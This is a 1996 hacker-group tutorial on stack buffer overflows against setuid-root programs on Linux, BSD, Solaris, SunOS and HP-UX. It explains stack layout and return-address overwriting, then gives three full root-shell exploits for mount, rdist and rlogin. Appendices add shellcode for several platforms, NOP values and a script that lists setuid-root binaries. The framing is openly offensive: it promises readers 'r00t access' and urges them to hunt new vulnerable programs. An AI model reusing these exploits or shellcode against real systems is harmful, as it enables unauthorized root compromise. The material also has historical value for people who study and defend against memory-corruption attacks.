1 -------------------------------------------------------------------------------
\r
2 øSTACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UXø
\r
3 -------------------------------------------------------------------------------
\r
7 welcome to the world of stack overflows, actually i planned an article
\r
8 explaining the complete operation of stack overflows on pc based unix
\r
9 systems, but as i read the new phrack magazine issue #49 i realized that
\r
10 somebody else had already written this article. well, if you want to learn
\r
11 more about the backgrounds (assembler programming/debugging) of stack
\r
12 overflows on linux systems and want to read an excellent article get the
\r
13 latest phrack magazine issue #49, article 14 by aleph one, the most com-
\r
14 plete article i have ever seen, great job! (phrack49.zip)
\r
15 but if you are not interested in understanding hundreds of lines pure
\r
16 i80386 (disassembled) assembler code and want to have a more practical
\r
17 guide, continue reading this article in order to easily learn how to use
\r
18 overflow exploits on various unix systems.
\r
23 [øaø] øthe stack - small backgroundø
\r
24 [øbø] østructure of the stackø
\r
25 [øcø] øabusing the return adressø
\r
26 [ødø] øexecuting a shell in assemblerø
\r
27 [øeø] øgetting the real stack adressø
\r
28 [øfø] øenvironment/command line variablesø
\r
29 [øgø] øclosing wordsø
\r
31 exploit[ø1ø] ømount.c - linux version: < 2.0.8ø
\r
32 exploit[ø2ø] ørdist.c - all bsd version: 2.0ø
\r
33 exploit[ø3ø] ørlogin.c - solaris version: 2.5 & 2.5.1ø
\r
35 appendix[øAø] øasm and c code for executionø
\r
36 appendix[øBø] ønop commands for different systemsø
\r
37 appendix[øCø] øget_sp() for different systemsø
\r
38 appendix[øDø] øfindsuid.sh - shellscriptø
\r
41 [øaø] øthe stack - small backgroundø
\r
42 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r
43 the main function of every CPU is processing and moving of data. while
\r
44 processing or moving the CPU needs a place to fast save important
\r
45 information due the limited space of the registers. these information
\r
46 are saved to the stack. the stack is a special part of the memory that
\r
47 can be accessed with special and very fast commands. the stack is variable
\r
48 in length and position.
\r
50 e.g. if a register N is used and a sub-procedure is executed that also
\r
51 uses the register N the CPU will save the value of the register N
\r
52 onto the stack and restore it after the procedure has terminated. in
\r
53 order to improve the speed of this process, the CPU uses the special
\r
54 stack commands that are faster than normal movings in memory.
\r
55 e.g. if a procedure is executed the CPU needs to know where to return to
\r
56 if the procedure is terminated, the return adress is saved on the
\r
57 stack before executing the procedure and after terminatig the proce-
\r
58 dure the CPU jumps to the return adress stored on the stack.
\r
60 there is a second function of the stack. if a program creates or receives
\r
61 data, the new data field will be stored in the memory, all programs use
\r
62 dynamic data fields to store such information. the CPU creates such fields
\r
63 on the stack if they are needed and removes them if they are not needed
\r
64 anymore, local variables or arrays are dynamic.
\r
66 e.g. if a procedure should exchange two variables (a <-> b), it needs a
\r
67 third variable c to store one value: c <- a
\r
70 the variable c would be installed on the stack and removed after the
\r
71 procedure has terminated.
\r
73 for sure you now remember my introducing words promising something like
\r
74 "easily creating exploits without learning all the shit behind". well,
\r
75 i'm sorry but you have to know some of the backgrounds, and i try to
\r
76 explain these as simple as possible. (i could have explained everything
\r
77 in assembler code ;]
\r
80 [øbø] øthe structure of the stackø
\r
81 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r
82 the stack is structured in a way that confuses some people sometimes (like
\r
83 me), the first stored value will be read as last and the last stored value
\r
84 will be read as first, this system is called "last in, first out" or LIFO.
\r
85 now let's take a closer look at the stack, imagine we have just executed
\r
86 a procedure in a program (just to keep your interest: we will later do
\r
87 this to gain r00t privileges). how does the stack look like if the
\r
88 procedure needs some own local (dynamic) variables?
\r
92 |-----------------------:
\r
93 -2048 bytes | local array1[1024] | ...
\r
94 |-----------------------|
\r
95 -1024 bytes | local array2[1024] | size 1024 bytes
\r
96 |-----------------------|
\r
97 actual stack position | base pointer | size 4 bytes
\r
98 |-----------------------|
\r
99 +4 bytes | return adress | size 4 bytes
\r
100 |-----------------------|
\r
101 +4 bytes : parameters ... | ...
\r
105 as you see the different mentioned variables and information are stored on
\r
106 the stack. every CPU uses a stack pointer to mark the actual position, it
\r
107 is called SP. the interesting parts of the stack are the local array2 and
\r
108 the return adress, we don't care about the rest because we want to gain
\r
109 r00t access and that is all.
\r
112 [øcø] øabusing the return adressø
\r
113 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r
114 as you remember before executing a procedure the CPU saves a return adress
\r
115 onto stack, if the procedure terminates the CPU will jump to the return
\r
116 adress and continue. but if procedure writes more bytes to a local vari-
\r
117 able as its size it will overwrite the return adress and this is called
\r
120 e.g. if (1024+8) 1032 times the character "X" is written to the local
\r
121 array2 in the picture above, the procedure will overwrite its own
\r
122 return adress. and the stack will look like this:
\r
126 |-----------------------:
\r
127 -2048 bytes | local array1[1024] | ...
\r
128 |-----------------------|
\r
129 -1024 bytes | 1024 times "X" | size 1024 bytes
\r
130 |-----------------------|
\r
131 actual stack position | 4 times "X" | size 4 bytes
\r
132 |-----------------------|
\r
133 +4 bytes | 4 times "X" | size 4 bytes
\r
134 |-----------------------|
\r
135 +4 bytes : parameters ... | ...
\r
139 instead of writing the character "X" onto the return adress, we could
\r
140 write a new adress onto the stack, we would now force the program to jump
\r
142 it would be very clever if we jump to an adress where we have placed
\r
143 some own assembler code that will do something interesting (what do you
\r
144 guess?), we could create this assembler code in the local variable; in
\r
145 the example local array2:
\r
149 |-----------------------:
\r
150 -2048 bytes | local array1[1024] |
\r
151 |-----------------------|
\r
152 -1024 bytes | our code | < -
\r
153 |-----------------------| |
\r
154 actual stack position | 4 bytes of crap | |
\r
155 |-----------------------| |
\r
156 +4 bytes | adress of our code | ___|
\r
157 |-----------------------|
\r
158 +4 bytes : parameters ... |
\r
162 if the program is owned by r00t and has the suid flag so that a normal
\r
163 user can execute it and it will give the user r00t privileges as long
\r
164 as it is executed, our code could do something with r00t privilegs!
\r
167 [ødø] øexecuting a shell in assemblerø
\r
168 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r
169 if our code would execute a normal shell and we have created the over-
\r
170 flow in a program with the suid flag and it is owned by the r00t we would
\r
171 have a complete r00t shell and the system would finally be hacked. what
\r
172 we need right now is a short assembler code that will execute a shell,
\r
173 well it is not necessary to execute a shell you can also execute any other
\r
175 you can find the corresponding assembler code for the different systems
\r
176 in the appendix [A] in pure assembler and compiled in a c char field
\r
177 called "execshell".
\r
178 if you still want to know how to disassemble such a code read article 14
\r
179 of the phrack magazine #49 or contact me via email. "/bin/sh" has been
\r
180 added to the code in most cases (exceptions: sparc code), if you want to
\r
181 execute a different program just change the char field.
\r
182 in order to guarantee our code to function we copy it and lots of nops in
\r
183 the data field that will later be copied to the local variable. (nop is
\r
184 a shortform of "no operation"). this data field need to be bigger than the
\r
185 local variable in order to overwrite the return adress. in the following
\r
186 example lv_size is the size of the local variable we want to overflow and
\r
187 buffer is the name of the data field (that is also local).
\r
189 e.g. #define lv_size=1024
\r
190 char buffer[lv_size+8]
\r
192 we add exactly 8 bytes, take a closer look at the stack above and youl
\r
193 will know why. if we want to overwrite the return adress we have to over-
\r
194 write 4 bytes base pointer and 4 bytes return adress.
\r
195 the data field buffer should look like this:
\r
197 ... <nop> <nop> <nop> <nop> <nop> <code executing a shell>
\r
199 look at this c code in order to learn how we can do this, lv_size is a
\r
200 shortform of local variable size, execshell is the char field with our
\r
201 assembler code and the path of the shell we want to execute. ptr is a
\r
202 pointer to the field that we will copy over the local variable.
\r
204 e.g. the easy version: for(i=0;i<lv_size-strlen(execshell);i++)
\r
206 for(i=0;i<strlen(execshell);i++)
\r
207 ptr[i+lv_size-strlen(execshell)]=execshell[i];
\r
209 e.g. the elegant way: memset(ptr,0x90,lv_size-strlen(execshell));
\r
210 ptr+=lv_size-strlen(execshell);
\r
211 for(i=0;i<strlen(execshell);i++)
\r
212 *(ptr++)=execshell[i];
\r
214 these examples are designed for pc based unix system because they use
\r
215 0x90 which is the code for a nop command, on other platforms you have to
\r
216 use other codes for nops. i have included several codes for nops, take
\r
217 a look at appendix [B].
\r
218 i will use the easy version in my exploits because i'm not a professional
\r
219 c coder and i prefer indexing like it is used in assembler. now we have
\r
220 filled the buffer with our code and some nops and we are finally near our
\r
221 goal, becoming r00t.
\r
223 [øeø] øgetting the real stack adressø
\r
224 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r
225 do you remember that the stack is variable in position and in length?
\r
226 if not, read [b] to fresh up your brain. we use a small function to get
\r
227 the actual stack adress by saving SP, this adress is the beginning of
\r
228 the stack before installing the local variables and the return adress,
\r
229 i will called it old SP (OSP) in the example.
\r
230 we have to add a variable offset to the OSP, this offset has to be that
\r
231 large that the CPU hits a nop when jumping to the return adress.
\r
235 OSP -> |-----------------------: ------
\r
236 -2048 bytes | local array1[1024] | | offset
\r
237 |-----------------------| | larger
\r
238 -1024 bytes | <...> | | than
\r
241 | <nop> | < - OSP + offset
\r
244 |-----------------------| |
\r
245 actual stack position | 4 bytes of crap | |
\r
246 |-----------------------| |
\r
247 +4 bytes | adress: OSP+offset | ___|
\r
248 |-----------------------|
\r
249 +4 bytes : parameters ... |
\r
252 in the example we have a local variable in front of the manipulated
\r
253 variable, so we have to generate an offset that is larger than the size
\r
255 in order to get the SP value, we use a function called get_sp(), of cause
\r
256 there are different methods to get this value on different unix system,
\r
257 i have included several versions in appendix [C]. ptr2 is a long or dword
\r
258 pointer to ptr which points to the return adress in the buffer.
\r
260 e.g. the correct code: ptr2=(long *)ptr;
\r
261 *ptr2=get_sp()+offset;
\r
263 e.g. the robust code: ptr2=(long *)ptr;
\r
265 *(ptr2++)=get_sp()+offset;
\r
267 i will use the robust code in my exploits because it writes the return
\r
268 adress 8 times to the stack, if our estimated stack adress is wrong,
\r
269 we have still 7 other places where it could jump to.
\r
271 [øfø] øenvironment/command line variablesø
\r
272 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r
273 you are for sure now tired of all this basic and theoratical stuff, you
\r
274 are right, it is time to find a target and attack it. the program that
\r
275 should be attacked has to be owned by root and has to be set suid. if
\r
276 you want to find some of these programs just use the the findsuid shell
\r
278 if you have read the upper text parts carefully you now know how to over-
\r
279 flow the stack by using a local variable, but how can i detect that a
\r
280 program is vunerable to the overflow bug? there are two main ways of
\r
281 passing variables to a program the command line and environment variables.
\r
283 e.g. command line variable: cat /test.file
\r
284 ^ variable (type: char[256])
\r
286 after loading the machine code of the program and executing the first
\r
287 procedures the program will copy the command line into a buffer, if there
\r
288 is no size check you can use the command line to overflow the stack, in
\r
289 order to find out the size of the command line variable try some chars on
\r
290 the command line. (e.g. 1024+4, 256+4, 512+4,...) if the program reports
\r
291 "segmentation fault", you can use the program to get r00t access. of cause
\r
292 their exist programs with really huge command line e.g. 8000 bytes. if you
\r
293 have generated a list of suid/root files on your system, just try if there
\r
294 are vunerable on their command line. the second possibilty is to pass the
\r
295 variable by using an environment variable.
\r
297 e.g. environment variable: set TERM=1234
\r
299 the program will copy the evironment variable TERM to a buffer, but the
\r
300 size of this buffer can be different, in order to overflow it you need
\r
301 to check sizes like 256, 512, 1024, 2048 and so on. to find out which
\r
302 programs use environment variables is not that easy, of cause you can
\r
303 guess that some programs need to read system information from the en-
\r
304 viroment variables but the best way to find out is to look inside the
\r
306 In any case try to find out new vulnerable programs, because it is always
\r
307 better to use exploits that are not common and known to the huge crowd of
\r
308 lame exploit abusers.
\r
310 [øgø] øclosing wordsø
\r
312 after reading all this timewasting crap you should be able to generate
\r
313 overflow exploits yourself, as a small demonstration i included three
\r
314 sample exploits (which work). I modified the original sources so they've
\r
315 got the same variable names as in the examples so that it should be easy for
\r
316 you to understand the code.
\r
318 exploits: exploit[1] mount.c - linux version: < 2.0.8
\r
319 exploit[2] rdist.c - all bsd version: 2.0
\r
320 exploit[3] rlogin.c - solaris version: 2.5 & 2.5.1
\r
322 you have an undefined feeling in your stomach; if you want to complain
\r
323 about this article, if you want to flame or diss me, if you want to have
\r
324 more information, if you want to swap things or if you just want to leave
\r
325 a useless mail, feel free to contact me via e-mail...
\r
326 PLASMOID@USA.NET and soon on the THC server PLASMOID@INSECURITY.ORG
\r
327 if you are not linked to the internet contact me at the LORE BBS by van
\r
328 hauser/thc. you can also contact me via IRC i'm normally in the channel
\r
329 #bluebox if my account is not k-lined ;)
\r
331 - plasmoid/thc/deep
\r
332 The Hacker's Choice
\r
333 Drinking Evil Elite Phreakers
\r
335 plasmoid deep/thc <plasmoid@usa.net>
\r
337 -----BEGIN PGP PUBLIC KEY BLOCK-----
\r
339 mQCNAzJZDKwAAAEEANBXUFXqCzZLKuPj7OwB5O7thWOHlzzsi6SEZfsbiysPU4TL
\r
340 AMsBuCV4257Rr0//aEMt4CWjAkO3YWcBzBMvGQIDhT06v9SB4LZep6wJlSIsFK3v
\r
341 L1x+iYzSlvoXOHYSBcjoXA3sDm+kzz49to77Z20bJru7upjHD8iQeMWdAg+hAAUR
\r
342 tBtwbGFzbW9pZCA8cGxhc21vaWRAdXNhLm5ldD6JAJUDBRAyWQysyJB4xZ0CD6EB
\r
343 AQ6GBACB1n9DkgHfnC7D245MZPpacEHI8Jwj0DV6inV19E9qWf4VDdXA8+9YLuUV
\r
344 hsV1/WRX3sJWGWmAQASPitl2tc+7vWw6VC4gjif1XsRttIuNwmvU+DPY7ZULueFe
\r
345 bKoLI2zXsnWm/+8PMjc6GSYsNrXSpUjqkH6nIt6+sytm2QyWBw==
\r
347 -----END PGP PUBLIC KEY BLOCK-----
\r
352 /* -------------------------------------------------------------------------
\r
353 mount.c - mount exploit for linux - version: < 2.0.10
\r
354 discovered by bloodmask&vio/couin
\r
355 coded by plasmoid/thc/deep for thc-magazine issue #3
\r
356 12/12/96 - works also on umount
\r
357 ------------------------------------------------------------------------- */
\r
361 #define lv_size 1024
\r
362 #define offset 30+lv_size+8*4
\r
363 // -------------------------------------------------------------------------
\r
366 __asm__("movl %esp, %eax");
\r
368 // -------------------------------------------------------------------------
\r
369 main(int argc, char **argv)
\r
372 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
\r
373 "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
\r
374 "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
\r
376 char buffer[lv_size+4*8];
\r
377 unsigned long *ptr2 = NULL;
\r
381 for(i=0;i<lv_size+4*8;i++)
\r
385 for(i=0;i<lv_size-strlen(execshell);i++)
\r
387 for(i=0;i<strlen(execshell);i++)
\r
388 *(ptr++)=execshell[i];
\r
391 *(ptr2++)=get_sp()+offset;
\r
393 printf("discovered by bloodmask&vio/couin\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
\r
394 (void)alarm((int)0);
\r
395 execl("/bin/mount", "mount", buffer, NULL);
\r
401 /* -------------------------------------------------------------------------
\r
402 rdist.c - rdist exploit for freebsd & bsd/os - version: 2.0
\r
403 discovered by brian mitchell
\r
404 coded by plasmoid/thc/deep for thc-magazine issue #3
\r
406 ------------------------------------------------------------------------- */
\r
410 #define lv_size 256
\r
411 #define offset 30+lv_size+8*4
\r
412 // -------------------------------------------------------------------------
\r
415 __asm__("movl %esp, %eax");
\r
417 // -------------------------------------------------------------------------
\r
418 main(int argc, char **argv)
\r
421 "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
\r
422 "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
\r
423 "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
\r
424 "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
\r
426 char buffer[lv_size+4*8];
\r
427 unsigned long *ptr2 = NULL;
\r
431 for(i=0;i<lv_size+4*8;i++)
\r
435 for(i=0;i<lv_size-strlen(execshell);i++)
\r
437 for(i=0;i<strlen(execshell);i++)
\r
438 *(ptr++)=execshell[i];
\r
441 *(ptr2++)=get_sp()+offset;
\r
443 printf("discovered by brian mitchell\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
\r
444 execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
\r
451 * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
\r
452 * by exploiting the gethostbyname() overflow in rlogin.
\r
454 * gcc -o rlogin-exploit rlogin-exploit.c
\r
456 * Jeremy Elson, 18 Nov 1996
\r
457 * jeremy.elson@nih.gov
\r
461 #include <stdlib.h>
\r
462 #include <sys/types.h>
\r
463 #include <unistd.h>
\r
465 #define BUF_LENGTH 8200
\r
467 #define STACK_OFFSET 4000
\r
468 #define SPARC_NOP 0xa61cc013
\r
470 u_char sparc_shellcode[] =
\r
471 "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
\r
472 "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
\r
473 "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
\r
474 "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
\r
475 "\x82\x10\x20\x3b\x91\xd4\xff\xff";
\r
477 u_long get_sp(void)
\r
479 __asm__("mov %sp,%i0 \n");
\r
482 void main(int argc, char *argv[])
\r
484 char buf[BUF_LENGTH + EXTRA];
\r
488 int i, code_length = strlen(sparc_shellcode);
\r
490 long_p = (u_long *) buf;
\r
492 for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
\r
493 *long_p++ = SPARC_NOP;
\r
495 char_p = (u_char *) long_p;
\r
497 for (i = 0; i < code_length; i++)
\r
498 *char_p++ = sparc_shellcode[i];
\r
500 long_p = (u_long *) char_p;
\r
502 targ_addr = get_sp() - STACK_OFFSET;
\r
503 for (i = 0; i < EXTRA / sizeof(u_long); i++)
\r
504 *long_p++ = targ_addr;
\r
506 printf("Jumping to address 0x%lx\n", targ_addr);
\r
508 execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
\r
509 perror("execl failed");
\r
515 -------------------------------------------------------------------------------
\r
517 -------------------------------------------------------------------------------
\r
522 movl %esi,0x8(%esi)
\r
524 movb %eax,0x7(%esi)
\r
525 movl %eax,0xc(%esi)
\r
528 leal 0x8(%esi),%ecx
\r
529 leal 0xc(%esi),%edx
\r
535 end_of_code: call exec_prog
\r
541 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
\r
542 "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
\r
543 "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
\r
545 -------------------------------------------------------------------------------
\r
546 bsd/os/i80386+ and freebsd/i80386+
\r
547 -------------------------------------------------------------------------------
\r
553 movl %ebx, 0x0b(%esi)
\r
556 movl %edx, 0x0f(%esi)
\r
557 movl %edx, 0x14(%esi)
\r
558 movb %edx, 0x19(%esi)
\r
561 leal 0x0b(%esi), %ecx
\r
568 end_of_code: call execve
\r
573 bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4
\r
578 "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
\r
579 "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
\r
580 "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
\r
581 "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
\r
585 ------------------------------------------------------------------------------
\r
586 solaris/sparc processor
\r
587 ------------------------------------------------------------------------------
\r
597 std %l6, [%sp - 16]
\r
608 char execshell[59]=
\r
609 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
\r
610 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
\r
611 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
\r
612 0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f,
\r
613 0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08";
\r
616 char execshell[54]=
\r
617 0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
\r
618 0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
\r
622 ------------------------------------------------------------------------------
\r
623 sunos/sparc processor
\r
624 ------------------------------------------------------------------------------
\r
634 std %l6, [%sp - 16]
\r
646 char execshell[63]=
\r
647 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
\r
648 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
\r
649 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
\r
650 0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
\r
651 0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01";
\r
653 ------------------------------------------------------------------------------
\r
655 ------------------------------------------------------------------------------
\r
659 "\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01"
\r "\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
\r
660 "\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
\r
661 "\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
\r
662 "\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
\r
663 "\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
\r
664 "\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01"
\r "\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";
\r\r
667 -------------------------------------------------------------------------------
\r
668 no operation - nop - for the different systems
\r
669 -------------------------------------------------------------------------------
\r
670 linux/i80386+ - char nop[1]=0x90;
\r
671 bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90;
\r
672 solaris/sparc processor - char nop[4]=0xac15a16e;
\r
673 sunos/sparc processor - char nop[4]=0xac15a16e;
\r
674 hp-ux9/hp9000 - char nop[4]=0xac15a16e;
\r
678 -------------------------------------------------------------------------------
\r
679 linux/i80386+ and bsd/os/i80386+ and freebsd/i80386+
\r
680 -------------------------------------------------------------------------------
\r
681 getting the stackpointer:
\r
682 ~~~~~~~~~~~~~~~~~~~~~~~~~
\r
685 __asm__("movl %esp,%eax");
\r
688 -------------------------------------------------------------------------------
\r
689 solaris/sparc processor and sunos/sparc processor
\r
690 -------------------------------------------------------------------------------
\r
691 getting the stackpointer:
\r
692 ~~~~~~~~~~~~~~~~~~~~~~~~~
\r
695 asm("or %sp, %sp, %i0");
\r
700 --------------------------------------------------------------------[cut here]-
\r
702 # findsuid.sh by plasmoid/thc/deep
\r
703 # important directories for linux system, try different ones
\r
704 # for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin)
\r
705 find /bin -user root -perm +a=s > suid.lst
\r
706 find /sbin -user root -perm +a=s >> suid.lst
\r
707 find /usr/bin -user root -perm +a=s >> suid.lst
\r
708 find /etc -user root -perm +a=s >> suid.lst
\r
709 find /var -user root -perm +a=s >> suid.lst
\r
710 --------------------------------------------------------------------[cut here]-
\r
712 <END OF FiLE - THC iN 1996>
\r